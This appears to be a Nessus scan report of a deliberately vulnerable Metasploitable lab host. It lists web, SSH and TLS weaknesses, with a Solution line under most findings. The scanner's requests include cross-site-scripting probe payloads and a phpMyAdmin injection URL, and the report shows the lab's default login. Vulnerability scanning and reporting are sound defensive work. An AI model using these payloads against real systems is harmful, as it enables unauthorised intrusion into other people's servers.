Published: 2009/10/27, Modified: 2020/06/12

Plugin Output

tcp/23/telnet

[illegible]


```
Login with msfadmin/msfadmin to get started  
metasploitable login:
```

```
----- snip -----
```

Synopsis

The remote web application discloses path information.

Description

At least one web application hosted on the remote web server discloses the physical path to its directories when a malformed request is sent to it.

Leaking this kind of information may help an attacker fine-tune attacks against the application and its backend.

Solution

Filter error messages containing path information.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2012/01/25, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The request GET /mutillidae/?page=<script>document.cookie="testzqff=5194;"</script> HTTP/1.1
Host: 192.168.1.209
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
```

```
produces the following path information :
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;script&gt;document.cookie=&quot;testzqff=51
94;&quot;&lt;/script&gt;) [<a href='function.include'>function.include</
a>]: failed to open stream: No such file or directory in <b>/var/www/mut
illidae/index.php</b> on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
```

```
The request GET /mutillidae/?page=%00<<<<"maoqlld%20">>> HTTP/1.1
```

```
Host: 192.168.1.209
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
```

produces the following path information :

```
<!-- Begin Content -->
<br />
<b>Warning</b>: include() [
```

The request GET /mutillidae/?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1

```
Host: 192.168.1.209
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
```

produces the following path information :

```
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;IMG SRC=&quot;javascript:alert(104);&quot;&
gt;)[
```

Synopsis

The remote web server may fail to mitigate a class of web application vulnerabilities.

Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

See Also

<http://www.nessus.org/u?399b1f56>

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

<https://en.wikipedia.org/wiki/Clickjacking>

Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF CWE:693

Plugin Information

Published: 2015/08/22, Modified: 2017/05/16

Plugin Output

tcp/80/www

The following pages do not use a clickjacking mitigation response header and contain a clickable event :

- <http://192.168.1.209/dvwa/login.php>
- <http://192.168.1.209/mutillidae/>
- <http://192.168.1.209/mutillidae/?page=add-to-your-blog.php>
- <http://192.168.1.209/mutillidae/?page=credits.php>
- <http://192.168.1.209/mutillidae/?page=login.php>
- <http://192.168.1.209/mutillidae/?page=show-log.php>
- <http://192.168.1.209/mutillidae/?page=source-viewer.php>
- <http://192.168.1.209/mutillidae/?page=text-file-viewer.php>
- <http://192.168.1.209/mutillidae/?page=view-someones-blog.php>
- <http://192.168.1.209/mutillidae/index.php>
- <http://192.168.1.209/mutillidae/index.php?page=add-to-your-blog.php>
- <http://192.168.1.209/mutillidae/index.php?page=arbitrary-file-inclusion.php>
- <http://192.168.1.209/mutillidae/index.php?page=browser-info.php>
- <http://192.168.1.209/mutillidae/index.php?page=capture-data.php>
- <http://192.168.1.209/mutillidae/index.php?page=captured-data.php>
- <http://192.168.1.209/mutillidae/index.php?page=credits.php>
- <http://192.168.1.209/mutillidae/index.php?page=dns-lookup.php>
- <http://192.168.1.209/mutillidae/index.php?page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php>
- <http://192.168.1.209/mutillidae/index.php?page=documentation/vulnerabilities.php>
- <http://192.168.1.209/mutillidae/index.php?page=framing.php>
- <http://192.168.1.209/mutillidae/index.php?page=home.php>
- <http://192.168.1.209/mutillidae/index.php?page=html5-storage.php>
- <http://192.168.1.209/mutillidae/index.php?page=installation.php>
- <http://192.168.1.209/mutillidae/index.php?page=login.php>
- <http://192.168.1.209/mutillidae/index.php?page=notes.php>
- <http://192.168.1.209/mutillidae/index.php?page=password-generator.php&username=anonymous>
- <http://192.168.1.209/mutillidae/index.php?page=pen-test-tool-lookup.php>
- <http://192.168.1.209/mutillidae/index.php?page=php-errors.php>
- <http://192.168.1.209/mutillidae/index.php?page=register.php>
- <http://192.168.1.209/mutillidae/> [...]

Synopsis

The remote web server may fail to mitigate a class of web application vulnerabilities.

Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

See Also

<http://www.nessus.org/u?399b1f56>

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

<https://en.wikipedia.org/wiki/Clickjacking>

Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF CWE:693

Plugin Information

Published: 2015/08/22, Modified: 2017/05/16

Plugin Output

tcp/8180/www

The following pages do not use a clickjacking mitigation response header and contain a clickable event :

- <http://192.168.1.209:8180/admin/>
- <http://192.168.1.209:8180/admin/error.jsp>
- <http://192.168.1.209:8180/jsp-examples/cal/login.html>
- <http://192.168.1.209:8180/jsp-examples/checkbox/check.html>
- <http://192.168.1.209:8180/jsp-examples/colors/colors.html>
- <http://192.168.1.209:8180/jsp-examples/colors/colrs.jsp>
- <http://192.168.1.209:8180/jsp-examples/error/err.jsp>
- <http://192.168.1.209:8180/jsp-examples/error/error.html>
- <http://192.168.1.209:8180/jsp-examples/jsp2/el/functions.jsp>
- <http://192.168.1.209:8180/jsp-examples/jsp2/el/functions.jsp?foo=JSP%2B2.0>
- <http://192.168.1.209:8180/jsp-examples/jsp2/el/implicit-objects.jsp>
- <http://192.168.1.209:8180/jsp-examples/jsp2/el/implicit-objects.jsp?foo=bar>
- <http://192.168.1.209:8180/jsp-examples/num/numguess.jsp>
- <http://192.168.1.209:8180/jsp-examples/plugin/plugin.jsp>
- <http://192.168.1.209:8180/jsp-examples/sessions/carts.html>
- <http://192.168.1.209:8180/jsp-examples/sessions/carts.jsp>
- <http://192.168.1.209:8180/servlets-examples/servlet/CookieExample>
- <http://192.168.1.209:8180/servlets-examples/servlet/RequestParamExample>
- <http://192.168.1.209:8180/servlets-examples/servlet/SessionExample>

Synopsis

The remote web server contains a PHP script that is prone to an information disclosure attack.

Description

Many PHP installation tutorials instruct the user to create a PHP file that calls the PHP function 'phpinfo()' for debugging purposes. Various PHP applications may also include such a file. By accessing such a file, a remote attacker can discover a large amount of information about the remote web server, including :

- The username of the user who installed PHP and if they are a SUDO user.
- The IP address of the host.
- The version of the operating system.
- The web server version.
- The root directory of the web server.
- Configuration information about the remote PHP installation.

Solution

Remove the affected file(s).

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2003/02/12, Modified: 2021/02/15

Plugin Output

tcp/80/www

```
Nessus discovered the following URLs that call phpinfo() :  
- http://192.168.1.209/phpinfo.php
```


- <http://192.168.1.209/mutillidae/phpinfo.php>

Synopsis

The remote web server hosts a PHP script that is prone to a cross- site scripting attack.

Description

The version of phpMyAdmin fails to validate BBcode tags in user input to the 'error' parameter of the 'error.php' script before using it to generate dynamic HTML.

An attacker may be able to leverage this issue to inject arbitrary HTML or script code into a user's browser to be executed within the security context of the affected site. For example, this could be used to cause a page with arbitrary text and a link to an external site to be displayed.

See Also

<https://www.phpmyadmin.net/security/PMASA-2010-9/>

Solution

Upgrade to phpMyAdmin 3.4.0-beta1 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

References

BID	45633
CVE	CVE-2010-4480
XREF	EDB-ID:15699
XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712

XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2011/01/06, Modified: 2021/01/19

Plugin Output

tcp/80/www

Nessus was able to exploit the issue using the following URL :

```
http://192.168.1.209/phpMyAdmin/error.php?type=phpmyadmin_pmasa_2010_9.nasl&error=%5ba%40https%3a%2f%2fwww.phpmyadmin.net%2fsecurity%2fPMASA-2010-9%2f%40_self]Click%20here%5b%2fa]
```

Synopsis

The remote web server contains a PHP script that is affected by multiple issues.

Description

The version of phpMyAdmin installed on the remote host fails to sanitize user-supplied input to the 'file_path' parameter of the 'bs_disp_as_mime_type.php' script before using it to read a file and reporting it in dynamically-generated HTML. An unauthenticated, remote attacker may be able to leverage this issue to read arbitrary files, possibly from third-party hosts, or to inject arbitrary HTTP headers in responses sent to third-party users.

Note that the application is also reportedly affected by several other issues, although Nessus has not actually checked for them.

See Also

<https://www.phpmyadmin.net/security/PMASA-2009-1/>

Solution

Upgrade to phpMyAdmin 3.1.3.1 or apply the patch referenced in the project's advisory.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	34253
XREF	Secunia:34468

Plugin Information

Published: 2009/04/03, Modified: 2021/01/19

Plugin Output

tcp/80/www

Synopsis

The remote web server contains a PHP application that has a cross- site scripting vulnerability.

Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input to the 'verbose server name' field.

A remote attacker could exploit this by tricking a user into executing arbitrary script code.

See Also

<https://www.tenable.com/security/research/tra-2010-02>

<https://www.phpmyadmin.net/security/PMASA-2010-7/>

Solution

Upgrade to phpMyAdmin 3.3.7 or later.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2010-3263
XREF	TRA:TRA-2010-02
XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725

XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2010/09/08, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
By making a series of requests, Nessus was able to determine the
following phpMyAdmin installation is vulnerable :
```

```
http://192.168.1.209/phpMyAdmin/
```

70658 - SSH Server CBC Mode Ciphers Enabled

Synopsis

The SSH server is configured to use Cipher Block Chaining.

Description

The SSH server is configured to support Cipher Block Chaining (CBC) encryption. This may allow an attacker to recover the plaintext message from the ciphertext.

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM cipher mode encryption.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	32319
CVE	CVE-2008-5161
XREF	CERT:958563
XREF	CWE:200

Plugin Information

Published: 2013/10/28, Modified: 2018/07/30

Plugin Output

tcp/22/ssh

```
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported :
```

```
3des-cbc  
aes128-cbc  
aes192-cbc  
aes256-cbc  
blowfish-cbc  
cast128-cbc  
rijndael-cbc@lysator.liu.se
```

The following server-to-client Cipher Block Chaining (CBC) algorithms are supported :

```
3des-cbc  
aes128-cbc  
aes192-cbc  
aes256-cbc  
blowfish-cbc  
cast128-cbc  
rijndael-cbc@lysator.liu.se
```


Synopsis

The remote SSH server is configured to allow weak key exchange algorithms.

Description

The remote SSH server is configured to allow key exchange algorithms which are considered weak.

This is based on the IETF draft document Key Exchange (KEX) Method Updates and Recommendations for Secure Shell (SSH) draft-ietf-curdle-ssh-kex-sha2-20. Section 4 lists guidance on key exchange algorithms that SHOULD NOT and MUST NOT be enabled. This includes:

diffie-hellman-group-exchange-sha1

diffie-hellman-group1-sha1

gss-gex-sha1-*

gss-group1-sha1-*

gss-group14-sha1-*

rsa1024-sha1

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

See Also

<http://www.nessus.org/u?b02d91cd>

<https://datatracker.ietf.org/doc/html/rfc8732>

Solution

Contact the vendor or consult product documentation to disable the weak algorithms.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Plugin Output

tcp/22/ssh

The following weak key exchange algorithms are enabled :

```
diffie-hellman-group-exchange-sha1
diffie-hellman-group1-sha1
```

Synopsis

The remote SSH server is configured to allow MD5 and 96-bit MAC algorithms.

Description

The remote SSH server is configured to allow either MD5 or 96-bit MAC algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable MD5 and 96-bit MAC algorithms.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2013/11/22, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following client-to-server Message Authentication Code (MAC) algorithms
are supported :
```

```
  hmac-md5
  hmac-md5-96
  hmac-sha1-96
```

```
The following server-to-client Message Authentication Code (MAC) algorithms
are supported :
```

```
  hmac-md5
  hmac-md5-96
  hmac-sha1-96
```

Synopsis

The remote host supports a set of weak ciphers.

Description

The remote host supports EXPORT_DHE cipher suites with keys less than or equal to 512 bits. Through cryptanalysis, a third party can find the shared secret in a short amount of time.

A man-in-the middle attacker may be able to downgrade the session to use EXPORT_DHE cipher suites. Thus, it is recommended to remove support for weak cipher suites.

See Also

<https://weakdh.org/>

Solution

Reconfigure the service to remove support for EXPORT_DHE cipher suites.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

2.2 (CVSS2#E:U/RL:ND/RC:C)

References

BID	74733
CVE	CVE-2015-4000

Plugin Information

Plugin Output

tcp/25/smtp

EXPORT_DHE cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

Synopsis

The 'autocomplete' attribute is not disabled on password fields.

Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

Risk Factor

Low

Plugin Information

Published: 2009/10/07, Modified: 2021/11/30

Plugin Output

tcp/80/www

```
Page : /phpMyAdmin/
Destination Page: /phpMyAdmin/index.php

Page : /phpMyAdmin/index.php
Destination Page: /phpMyAdmin/index.php

Page : /mutillidae/index.php?page=login.php
Destination Page: /mutillidae/index.php?page=login.php

Page : /mutillidae/index.php?page=register.php
Destination Page: /mutillidae/index.php?page=register.php

Page : /mutillidae/?page=login.php
Destination Page: /mutillidae/index.php?page=login.php

Page : /mutillidae/?page=register.php
Destination Page: /mutillidae/index.php?page=register.php
```

Synopsis

The 'autocomplete' attribute is not disabled on password fields.

Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

Risk Factor

Low

Plugin Information

Published: 2009/10/07, Modified: 2021/11/30

Plugin Output

tcp/8180/www

```
Page : /admin/  
Destination Page: /admin/j_security_check  
  
Page : /admin/error.jsp  
Destination Page: /admin/j_security_check
```

Synopsis

The remote web server might transmit credentials in cleartext.

Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

Solution

Make sure that every sensitive form transmits content over HTTPS.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

References

XREF	CWE:522
XREF	CWE:523
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

Plugin Output

tcp/80/www

```
Page : /phpMyAdmin/
Destination Page: /phpMyAdmin/index.php

Page : /phpMyAdmin/index.php
Destination Page: /phpMyAdmin/index.php

Page : /mutillidae/index.php?page=login.php
```



```
Destination Page: /mutillidae/index.php?page=login.php

Page : /mutillidae/index.php?page=register.php
Destination Page: /mutillidae/index.php?page=register.php

Page : /mutillidae/?page=login.php
Destination Page: /mutillidae/index.php?page=login.php

Page : /dvwa/login.php
Destination Page: /dvwa/login.php

Page : /mutillidae/?page=register.php
Destination Page: /mutillidae/index.php?page=register.php
```

26194 - Web Server Transmits Cleartext Credentials

Synopsis

The remote web server might transmit credentials in cleartext.

Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

Solution

Make sure that every sensitive form transmits content over HTTPS.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

References

XREF	CWE:522
XREF	CWE:523
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

Plugin Output

tcp/8180/www

```
Page : /admin/  
Destination Page: /admin/j_security_check  
  
Page : /admin/error.jsp  
Destination Page: /admin/j_security_check
```


Synopsis

The remote web server seems to transmit credentials in cleartext.

Description

The remote web server contains web pages that are protected by 'Basic' authentication over cleartext.

An attacker eavesdropping the traffic might obtain logins and passwords of valid users.

Solution

Make sure that HTTP authentication is transmitted over HTTPS.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

References

XREF	CWE:319
XREF	CWE:928
XREF	CWE:930
XREF	CWE:934

Plugin Information

Published: 2008/11/21, Modified: 2016/11/29

Plugin Output

tcp/8180/www

```
The following web pages use Basic Authentication over an unencrypted channel :
```

```
/host-manager/html:/ realm="Tomcat Host Manager Application"  
/manager/html:/ realm="Tomcat Manager Application"  
/manager/status:/ realm="Tomcat Manager Application"
```

Synopsis

An X11 server is listening on the remote host

Description

The remote host is running an X11 server. X11 is a client-server protocol that can be used to display graphical applications running on a given host on a remote client.

Since the X11 traffic is not ciphered, it is possible for an attacker to eavesdrop on the connection.

Solution

Restrict access to this port. If the X11 client/server facility is not used, disable TCP support in X11 entirely (-nolisten tcp).

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2000/05/12, Modified: 2019/03/05

Plugin Output

tcp/6000/x11

```
X11 Version : 11.0
```

Synopsis

There is an AJP connector listening on the remote host.

Description

The remote host is running an AJP (Apache JServ Protocol) connector, a service by which a standalone web server such as Apache communicates over TCP with a Java servlet container such as Tomcat.

See Also

<http://tomcat.apache.org/connectors-doc/>

<http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/04/05, Modified: 2019/11/22

Plugin Output

tcp/8009/ajp13

The connector listing on this port supports the ajp13 protocol.

Synopsis

The name of the Linux distribution running on the remote host was found in the banner of the web server.

Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

n/a

Risk Factor

None

Plugin Information

Published: 2005/05/15, Modified: 2019/10/01

Plugin Output

tcp/0

```
The Linux distribution detected was :  
- Ubuntu 8.04 (gutsy)
```

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

<https://httpd.apache.org/>

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2020/09/22

Plugin Output

tcp/80/www

```
URL      : http://192.168.1.209/
Version  : 2.2.99
backported : 1
modules  : DAV/2
os       : ConvertedUbuntu
```


Synopsis

The remote web server is an Apache Tomcat server.

Description

Nessus was able to detect a remote Apache Tomcat web server.

See Also

<https://tomcat.apache.org/>

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0535

Plugin Information

Published: 2009/06/18, Modified: 2020/09/22

Plugin Output

tcp/8180/www

```
URL      : http://192.168.1.209:8180/  
Version  : 5.5  
backported : 0  
source    : Apache Tomcat/5.5
```

39519 - Backported Security Patch Detection (FTP)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote FTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/2121/ftp

```
Give Nessus credentials to perform local checks.
```

84574 - Backported Security Patch Detection (PHP)

Synopsis

Security patches have been backported.

Description

Security patches may have been 'backported' to the remote PHP install without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/07/07, Modified: 2015/07/07

Plugin Output

tcp/80/www

```
Give Nessus credentials to perform local checks.
```

39520 - Backported Security Patch Detection (SSH)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote SSH server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/22/ssh

```
Give Nessus credentials to perform local checks.
```

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote HTTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/80/www

```
Give Nessus credentials to perform local checks.
```

Synopsis

Some CGIs are candidate for extended injection tests.

Description

Nessus was able to inject innocuous strings into CGI parameters and read them back in the HTTP response.

The affected parameters are candidates for extended injection tests like cross-site scripting attacks.

This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

Solution

n/a

Risk Factor

None

References

XREF CWE:86

Plugin Information

Published: 2010/07/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to injectable parameter :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=gojkna

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=gojkna">Toggle Hints</a></td>
<td><a href="./index.php?do=toggle-security&page=gojkna">Toggle
Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----

Clicking directly on these URLs should exhibit the issue :
```

(you will probably need to read the HTML source)

<http://192.168.1.209/mutillidae/?page=gojkna>

Synopsis

Nessus encountered errors while running its generic CGI attacks.

Description

Nessus ran into trouble while running its generic CGI tests against the remote web server (for example, connection refused, timeout, etc). When this happens, Nessus aborts the current test and switches to the next CGI script on the same port or to another web server. Thus, test results may be incomplete.

Solution

Rescan with a longer network timeout or less parallelism for example, by changing the following options in the scan policy :

- Network -> Network Receive Timeout (check_read_timeout)
- Options -> Number of hosts in parallel (max_hosts)
- Options -> Number of checks in parallel (max_checks)

Risk Factor

None

Plugin Information

Published: 2009/07/28, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
Nessus encountered :
```

```
- 12 errors involving SQL injection (on HTTP headers) checks :  
  . reading the HTTP status line: errno=1 (operation timed out)  
- 12 errors involving SQL injection (on parameters names) checks :  
  . reading the HTTP status line: errno=1 (operation timed out)  
- 3 errors involving directory traversal (extended test) checks :  
  . reading HTTP headers: errno=1 (operation timed out)  
- 3 errors involving web code injection checks :  
  . reading the HTTP status line: errno=1 (operation timed out)  
- 3 errors involving injectable parameter checks :  
  . reading the HTTP status line: errno=1 (operation timed out)  
- 1 error involving XML injection checks :  
  . reading the HTTP status line: errno=1 (operation timed out)
```

```
This web server appears to be unresponsive now.
```


Synopsis

Load estimation for web application tests.

Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]
```

on site request forgery	: S=1	SP=1	AP=1	SC=1	AC=1
SQL injection	: S=49980	SP=63308	AP=63308	SC=10607520	
AC=10607520					
unseen parameters	: S=62475	SP=79135	AP=79135	SC=13259400	
AC=13259400					
local file inclusion	: S=7140	SP=9044	AP=9044	SC=1515360	
AC=1515360					
cookie manipulation	: S=2	SP=2	AP=2	SC=2	AC=2
web code injection	: S=1785	SP=2261	AP=2261	SC=378840	
AC=378840					
XML injection	: S=1785	SP=2261	AP=2261	SC=378840	
AC=378840					
